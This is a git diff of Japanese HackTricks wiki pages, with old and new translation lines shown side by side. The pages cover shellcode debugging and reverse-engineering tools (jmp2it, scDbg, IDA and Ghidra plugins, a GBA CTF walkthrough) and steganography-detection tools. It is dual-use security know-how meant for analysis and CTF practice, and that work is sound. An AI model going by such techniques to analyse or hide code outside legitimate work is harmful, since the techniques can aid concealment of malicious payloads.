### jmp2itを使用したシェルコードのデバッグ ### jmp2itを使用したシェルコードのデバッグ
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerと非常に似ています。シェルコードをメモリのスペースに割り当て、**永遠のループ**を開始します。その後、デバッガをプロセスにアタッチし、**再生を開始し、2〜5秒待って停止**し、**永遠のループ**の中にいます。永遠のループの次の命令にジャンプすると、シェルコードを呼び出す命令になり、最終的にシェルコードを実行します。 [**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)は、blobrunnerと非常に似ています。シェルコードをメモリのスペースに**割り当て**し、**永遠のループ**を開始します。その後、プロセスにデバッガを**アタッチ**し、**再生を開始し、2〜5秒待って停止**し、自分自身が**永遠のループ**の中にいることに気付くでしょう。永遠のループの次の命令にジャンプすると、シェルコードを呼び出す命令になるため、最終的にシェルコードを実行することができます。
![](<../../.gitbook/assets/image (397).png>) ![](<../../.gitbook/assets/image (397).png>)
@ -298,7 +366,7 @@ Cutterでは、「ファイルを開く」と「シェルコードを開く」
![](<../../.gitbook/assets/image (400).png>) ![](<../../.gitbook/assets/image (400).png>)
特定の場所でエミュレーションを開始するには、そこにブレークポイントを設定し、おそらくCutterが自動的にそこからエミュレーションを開始します 特定の場所でエミュレーションを開始するには、そこにブレークポイントを設定し、おそらくCutterが自動的にそこからエミュレーションを開始するようにします:
![](<../../.gitbook/assets/image (399).png>) ![](<../../.gitbook/assets/image (399).png>)
@ -321,7 +389,7 @@ scDbgには、グラフィカルなランチャーもあります。ここで、
![](<../../.gitbook/assets/image (398).png>) ![](<../../.gitbook/assets/image (398).png>)
**Create Dump**オプションは、シェルコードがメモリ内で動的に変更された場合に、最終的なシェルコードをダンプします(デコードされたシェルコードをダウンロードするのに便利です)。**start offset**は、特定のオフセットでシェルコードを開始するのに役立ちます。**Debug Shell**オプションは、scDbgターミナルを使用してシェルコードをデバッグするのに便利ですただし、前述のオプションのいずれかを使用する方が、Idaやx64dbgを使用できるため、より良いと思います)。 **Create Dump**オプションは、シェルコードがメモリ内で動的に変更された場合に、最終的なシェルコードをダンプします(デコードされたシェルコードをダウンロードするのに便利です)。**start offset**は、特定のオフセットでシェルコードを開始するのに役立ちます。**Debug Shell**オプションは、scDbgターミナルを使用してシェルコードをデバッグするのに便利ですただし、前述のオプションのいずれかを使用する方が、Idaやx64dbgを使用できるため、より良いす)。
### CyberChefを使用した逆アセンブル ### CyberChefを使用した逆アセンブル
@ -341,24 +409,33 @@ apt-get install libz3-dev
``` ```
そして、[keystoneをインストール](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)します(`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install` そして、[keystoneをインストール](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)します(`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`
もしCTFをプレイしている場合、フラグを見つけるためのこの回避策は非常に役立つでしょう[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) もしCTFをプレイしている場合、このフラグを見つけるための回避策は非常に役立つかもしれません[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化しましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Rust ## Rust
**エントリーポイント**を見つけるには、次のように`::main`で関数を検索します: **エントリーポイント**を見つけるには、`::main`という関数を検索します。例えば
![](<../../.gitbook/assets/image (612).png>) ![](<../../.gitbook/assets/image (612).png>)
この場合、バイナリの名前はauthenticatorと呼ばれているため、これが興味深いmain関数であることは明らかです。\ この場合、バイナリの名前はauthenticatorと呼ばれているため、これが興味深いmain関数であることは明らかです。\
呼び出されている関数の**名前**を持っている場合、それらを**インターネット**で検索して、それらの**入力**と**出力**について学びます。 呼び出される**関数の名前**を持っている場合、それらを**インターネット**で検索して、その**入力**と**出力**について学びます。
## **Delphi** ## **Delphi**
Delphiでコンパイルされたバイナリには、[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)を使用できます Delphiでコンパイルされたバイナリには、[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)を使用できます
Delphiバイナリをリバースエンジニアリングする場合は、IDAプラグイン[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)を使用することをお勧めします Delphiバイナリをリバースエンジニアリングする場合は、IDAプラグイン[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)を使用することをおすすめします。
単に**ATL+f7**IDAでPythonプラグインをインポートを押し、Pythonプラグインを選択します。 **ATL+f7**IDAでPythonプラグインをインポートを押し、Pythonプラグインを選択します。
このプラグインはバイナリを実行し、デバッグの開始時に関数名を動的に解決します。デバッグを開始した後、再びStartボタン緑色のボタンまたはf9を押すと、実際のコードの最初にブレークポイントがヒットします。 このプラグインはバイナリを実行し、デバッグの開始時に関数名を動的に解決します。デバッグを開始した後、再びStartボタン緑色のボタンまたはf9を押すと、実際のコードの最初にブレークポイントがヒットします。
@ -366,9 +443,9 @@ Delphiバイナリをリバースエンジニアリングする場合は、IDA
## Golang ## Golang
Golangバイナリをリバースエンジニアリングする場合は、IDAプラグイン[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)を使用することをお勧めします Golangバイナリをリバースエンジニアリングする場合は、IDAプラグイン[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)を使用することをおすすめします。
単に**ATL+f7**IDAでPythonプラグインをインポートを押し、Pythonプラグインを選択します。 **ATL+f7**IDAでPythonプラグインをインポートを押し、Pythonプラグインを選択します。
これにより、関数の名前が解決されます。 これにより、関数の名前が解決されます。
@ -389,11 +466,11 @@ GBAゲームの**バイナリ**を取得した場合、さまざまなツール
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン * [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidraプラグイン
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン * [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidraプラグイン
[**no$gba**](https://problemkaputt.de/gba.htm)では、_**Options --> Emulation Setup --> Controls**_\*\* \*\*でGame Boy Advanceの**ボタン**を押す方法が確認できます [**no$gba**](https://problemkaputt.de/gba.htm)では、_**Options --> Emulation Setup --> Controls**_\*\* \*\*でGame Boy Advanceの**ボタン**を押す方法がわかります
![](<../../.gitbook/assets/image (578).png>) ![](<../../.gitbook/assets/image (578).png>)
押されたとき、各**キーには値**があり、それを識別することができます: 押されると、各**キーには値**があり、それを識別することができます。
``` ```
A = 1 A = 1
B = 2 B = 2
@ -476,7 +553,7 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
前のコードでは、**uVar1****押されたボタンの値**が格納される場所)といくつかの値を比較しています: 前のコードでは、**uVar1****押されたボタンの値**が格納される場所)といくつかの値を比較しています:
* 最初に、**値4****SELECT**ボタン)と比較されます:このボタンはチャレンジでは画面をクリアします。 * 最初に、**値4****SELECT**ボタン)と比較されます:このボタンはチャレンジでは画面をクリアします。
* 次に、**値8****START**ボタン)と比較されます:このボタンはコードがフラグを取得するために有効かどうかをチェックします。 * 次に、**値8****START**ボタン)と比較されます:このボタンはチャレンジでフラグを取得するためのコードが有効かどうかをチェックします。
* この場合、変数**`DAT_030000d8`**は0xf3と比較され、値が同じであればいくつかのコードが実行されます。 * この場合、変数**`DAT_030000d8`**は0xf3と比較され、値が同じであればいくつかのコードが実行されます。
* それ以外の場合、いくつかのcont`DAT_030000d4`がチェックされます。これはcontであるため、コードに入った直後に1が追加されます。\ * それ以外の場合、いくつかのcont`DAT_030000d4`がチェックされます。これはcontであるため、コードに入った直後に1が追加されます。\
8未満の場合、**`DAT_030000d8`**に値を**追加**する何かが行われます基本的には、contが8未満の間、押されたキーの値をこの変数に追加しています 8未満の場合、**`DAT_030000d8`**に値を**追加**する何かが行われます基本的には、contが8未満の間、押されたキーの値をこの変数に追加しています
@ -494,14 +571,20 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering) * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD)(バイナリの逆コンパイル) * [https://github.com/malrev/ABD](https://github.com/malrev/ABD)(バイナリの逆コンパイル)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、修正を迅速に行いましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details> </details>

View file

@ -1,4 +1,4 @@
# Stego Tricks # ステゴトリックス
<details> <details>
@ -7,18 +7,18 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有**するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
</details> </details>
![](<../.gitbook/assets/image (9) (1) (2).png>) <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
\ 最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによるワークフローを簡単に構築し、自動化します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## すべてのファイルからデータを抽出する ## すべてのファイルからデータを抽出する
@ -64,12 +64,12 @@ exiftoolに似たツールです。\
`strings -n 6 file`最小長さ6の文字列を抽出します。\ `strings -n 6 file`最小長さ6の文字列を抽出します。\
`strings -n 6 file | head -n 20`最小長さ6の最初の20個の文字列を抽出します。\ `strings -n 6 file | head -n 20`最小長さ6の最初の20個の文字列を抽出します。\
`strings -n 6 file | tail -n 20`最小長さ6の最後の20個の文字列を抽出します。\ `strings -n 6 file | tail -n 20`最小長さ6の最後の20個の文字列を抽出します。\
`strings -e s -n 6 file`7ビット文字列を抽出します。\ `strings -e s -n 6 file`7ビット文字列を抽出します。\
`strings -e S -n 6 file`8ビット文字列を抽出します。\ `strings -e S -n 6 file`8ビット文字列を抽出します。\
`strings -e l -n 6 file`16ビット文字列(リトルエンディアン)を抽出します。\ `strings -e l -n 6 file`16ビット文字列リトルエンディアンを抽出します。\
`strings -e b -n 6 file`16ビット文字列(ビッグエンディアン)を抽出します。\ `strings -e b -n 6 file`16ビット文字列ビッグエンディアンを抽出します。\
`strings -e L -n 6 file`32ビット文字列(リトルエンディアン)を抽出します。\ `strings -e L -n 6 file`32ビット文字列リトルエンディアンを抽出します。\
`strings -e B -n 6 file`32ビット文字列(ビッグエンディアン)を抽出します。 `strings -e B -n 6 file`32ビット文字列ビッグエンディアンを抽出します。
### cmp - 比較 ### cmp - 比較
@ -81,14 +81,14 @@ cmp original.jpg stego.jpg -b -l
### スペースに隠されたデータ ### スペースに隠されたデータ
もし、**テキストの行**が予想よりも**大きい**場合、見えない文字を使って**スペース**の中に**隠された情報**が含まれている可能性があります。󐁈󐁥󐁬󐁬󐁯󐀠󐁴󐁨\ もしもある**テキスト行**が予想よりも**大きい**場合、見えない文字を使って**スペース**の中に**隠された情報**が含まれている可能性があります。󐁈󐁥󐁬󐁬󐁯󐀠󐁴󐁨\
データを**抽出**するには、次のリンクを使用できます:[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) データを**抽出**するためには、以下のリンクを使用できます: [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)
![](<../.gitbook/assets/image (9) (1) (2).png>) ![](<../.gitbook/assets/image (9) (1) (2).png>)
\ \
[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度な**コミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。\
今すぐアクセスを取得 今すぐアクセスを取得してください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -96,11 +96,11 @@ cmp original.jpg stego.jpg -b -l
### identify ### identify
[GraphicMagick](https://imagemagick.org/script/download.php)ツールを使用して、ファイルがどの種類の画像であるかを確認ます。また、画像が破損しているかどうかも確認します。 [GraphicMagick](https://imagemagick.org/script/download.php)ツールを使用して、ファイルがどの種類の画像であるかを確認することができます。また、画像が破損しているかどうかも確認します。
``` ```
./magick identify -verbose stego.jpg ./magick identify -verbose stego.jpg
``` ```
もし画像が損傷している場合、メタデータコメントを追加することで復元することができるかもしれません(非常にひどく損傷している場合はこれは機能しません)。 画像が損傷している場合、メタデータコメントを追加することで復元することができるかもしれません(非常にひどく損傷している場合はこれは機能しません)。
```bash ```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
``` ```
@ -126,12 +126,12 @@ zstegは、pngおよびbmpファイルに隠されたデータを検出するツ
### stegoVeritas JPG、PNG、GIF、TIFF、BMP ### stegoVeritas JPG、PNG、GIF、TIFF、BMP
さまざまなシンプルなトリックや高度なトリックが可能なこのツールは、ファイルのメタデータをチェックしたり、変換された画像を作成したり、LSBをブルートフォースしたりすることができます。その全ての機能については、`stegoveritas.py -h`を参照してください。すべてのチェックを実行するには、`stegoveritas.py stego.jpg`を実行します。 このツールは、ファイルのメタデータをチェックしたり、変換された画像を作成したり、LSBをブルートフォースしたりするなど、さまざまなシンプルで高度なトリックを実行することができます。完全な機能については、`stegoveritas.py -h`を参照してください。すべてのチェックを実行するには、`stegoveritas.py stego.jpg`を実行します。
### Stegsolve ### Stegsolve
画像自体にメッセージやテキストが隠されており、それを表示するためには、カラーフィルタを適用したり、カラーレベルを変更したりする必要がある場合があります。GIMPやPhotoshopのようなツールを使用してもできますが、Stegsolveを使用すると簡単になります。これは、画像に多くの便利なカラーフィルタを適用する小さなJavaツールです。CTFの課題では、Stegsolveは本当に時間を節約することがよくあります。\ 画像自体にメッセージやテキストが隠されている場合、それを表示するには、カラーフィルタを適用したり、一部のカラーレベルを変更したりする必要があります。GIMPやPhotoshopのようなツールを使用してこれを行うこともできますが、Stegsolveを使用すると簡単になります。これは、画像に多くの便利なカラーフィルタを適用する小さなJavaツールです。CTFの課題では、Stegsolveはしばしば本当の時間節約者です。\
[Github](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)から入手できます。\ [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)から入手できます。\
使用するには、画像を開き、`<` `>`ボタンをクリックします。 使用するには、画像を開き、`<` `>`ボタンをクリックします。
### FFT ### FFT
@ -145,8 +145,8 @@ Fast Fourier Tを使用して隠されたコンテンツを検出するには
### Stegpy \[PNG, BMP, GIF, WebP, WAV] ### Stegpy \[PNG, BMP, GIF, WebP, WAV]
ステガノグラフィを使用して画像や音声ファイルに情報をエンコードするためのプログラムです。データは平文または暗号化された形式で保存することができます。\ ステガノグラフィを使用して画像や音声ファイルに情報をエンコードするためのプログラムです。データは平文または暗号化として保存することができます。\
[Github](https://github.com/dhsdshdhk/stegpy)で入手できます。 [GitHub](https://github.com/dhsdshdhk/stegpy)で見つけることができます。
### Pngcheck ### Pngcheck
@ -173,19 +173,19 @@ ffmpegは、オーディオファイルの整合性をチェックし、ファ
### Wavsteg \[WAV] <a href="#wavsteg" id="wavsteg"></a> ### Wavsteg \[WAV] <a href="#wavsteg" id="wavsteg"></a>
WavStegは、wavファイルに最下位ビットを使用してデータを隠すことができるPython3ツールです。また、wavファイルからデータを検索および抽出することもできます。\ WavStegは、wavファイルに最下位ビットを使用してデータを隠すことができるPython3ツールです。また、wavファイルからデータを検索および抽出することもできます。\
[Github](https://github.com/ragibson/Steganography#WavSteg)から入手できます。\ [GitHub](https://github.com/ragibson/Steganography#WavSteg)から入手できます。\
便利なコマンド:\ 便利なコマンド:\
`python3 WavSteg.py -r -b 1 -s soundfile -o outputfile`:出力ファイルに抽出します(最下位ビットのみを取得)\ `python3 WavSteg.py -r -b 1 -s soundfile -o outputfile`:出力ファイルに抽出します(最下位ビットのみを取得)\
`python3 WavSteg.py -r -b 2 -s soundfile -o outputfile`出力ファイルに抽出します最下位2ビットのみを取得 `python3 WavSteg.py -r -b 2 -s soundfile -o outputfile`出力ファイルに抽出します最下位2ビットのみを取得
### Deepsound ### Deepsound
音声ファイルにAES-265で暗号化された情報を隠したり、その情報を検索したりすることができます。[公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードしてください。\ 音声ファイルにAES-265で暗号化された情報を隠したり、検索したりすることができます。[公式ページ](http://jpinsoft.net/deepsound/download.aspx)からダウンロードしてください。\
隠された情報を検索するには、プログラムを実行して音声ファイルを開きます。DeepSoundが隠されたデータを見つけた場合、解除するためのパスワードが必要です。 隠された情報を検索するには、プログラムを実行して音声ファイルを開きます。DeepSoundが隠されたデータを見つけた場合、解除するためのパスワードが必要です。
### Sonic visualizer <a href="#sonic-visualizer" id="sonic-visualizer"></a> ### Sonic visualizer <a href="#sonic-visualizer" id="sonic-visualizer"></a>
Sonic visualizerは、オーディオファイルの内容を表示および分析するためのツールです。オーディオステガグラフィの課題に直面した場合、他の多くのツールでは検出できないオーディオファイルの隠れた形状を明らかにすることができます。\ Sonic visualizerは、オーディオファイルの内容を表示および分析するためのツールです。オーディオステガグラフィの課題に直面した場合、他の多くのツールでは検出できないオーディオファイルの隠れた形状を明らかにするのに非常に役立ちます。\
行き詰まった場合は、常にオーディオのスペクトログラムをチェックしてください。[公式ウェブサイト](https://www.sonicvisualiser.org/) 行き詰まった場合は、常にオーディオのスペクトログラムをチェックしてください。[公式ウェブサイト](https://www.sonicvisualiser.org/)
### DTMF Tones - ダイヤル音 ### DTMF Tones - ダイヤル音
@ -201,9 +201,8 @@ Sonic visualizerは、オーディオファイルの内容を表示および分
import math import math
math.sqrt(2500) #50 math.sqrt(2500) #50
``` ```
バイナリの「1」と「0」を適切な画像に変換するには、[https://www.dcode.fr/binary-image](https://github.com/carlospolop/hacktricks/tree/32fa51552498a17d266ff03e62dfd1e2a61dcd10/binary-image/README.md)を使用します。 バイナリの「1」と「0」を適切な画像に変換するには[https://www.dcode.fr/binary-image](https://github.com/carlospolop/hacktricks/tree/32fa51552498a17d266ff03e62dfd1e2a61dcd10/binary-image/README.md)\
QRコードを読み取るには[https://online-barcode-reader.inliteresearch.com/](https://online-barcode-reader.inliteresearch.com/)
QRコードを読み取るには、[https://online-barcode-reader.inliteresearch.com/](https://online-barcode-reader.inliteresearch.com/)を使用します。
### ブライユ ### ブライユ
@ -214,21 +213,21 @@ QRコードを読み取るには、[https://online-barcode-reader.inliteresearch
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
![](<../.gitbook/assets/image (9) (1) (2).png>) <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。 最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまでクラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
今すぐアクセスを取得:
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。 * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -7,14 +7,22 @@
